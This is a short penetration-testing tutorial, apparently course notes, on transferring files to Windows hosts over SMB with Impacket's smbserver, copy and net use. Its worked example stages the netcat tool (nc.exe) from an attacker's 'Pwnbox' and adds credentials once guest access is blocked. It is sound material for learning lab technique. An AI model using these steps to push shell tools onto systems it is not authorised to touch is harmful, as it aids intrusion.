# 📦 SMB Downloads

## 📦 SMB Downloads — Moving Files the Windows Way!

The **SMB (Server Message Block)** protocol 🧱 runs over **TCP port 445** and is used A LOT in enterprise networks where Windows machines are chatting 📡.

It allows apps and users to **transfer files** between systems easily! 😎

***

### 🛠️ Step 1: Set Up an SMB Server on Your Pwnbox

You're going to use **`smbserver.py`** from **Impacket** to share a directory!

```bash
sudo impacket-smbserver share -smb2support /tmp/smbshare
```

📁 This shares the `/tmp/smbshare` folder under the name `share`.

***

### 📥 Step 2: Download File from the SMB Server on Windows

Just use the **`copy`** command!

```powershell
copy \\192.168.220.133\share\nc.exe
```

💡 This copies `nc.exe` from the Pwnbox to your current directory on Windows.

✅ Output:

```
1 file(s) copied.
```

***

### 🧱 Problem: Windows May Block Guest Access 😕

If you see an error like:

> ❌ You can't access this shared folder because your organization's security policies block unauthenticated guest access...

Don't worry! We can fix it by **adding authentication**.

***

### 🔐 Step 3: SMB Server with Username & Password

Start the server with credentials:

```bash
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

***

### 🔐 Step 4: Mount the SMB Share on Windows

Map the network drive with your credentials:

```cmd
net use n: \\192.168.220.133\share /user:test test
```

📁 This maps the share to drive `n:`

#### Then download your file:

```cmd
copy n:\nc.exe
```

✅ Output:

```
1 file(s) copied.
```

***
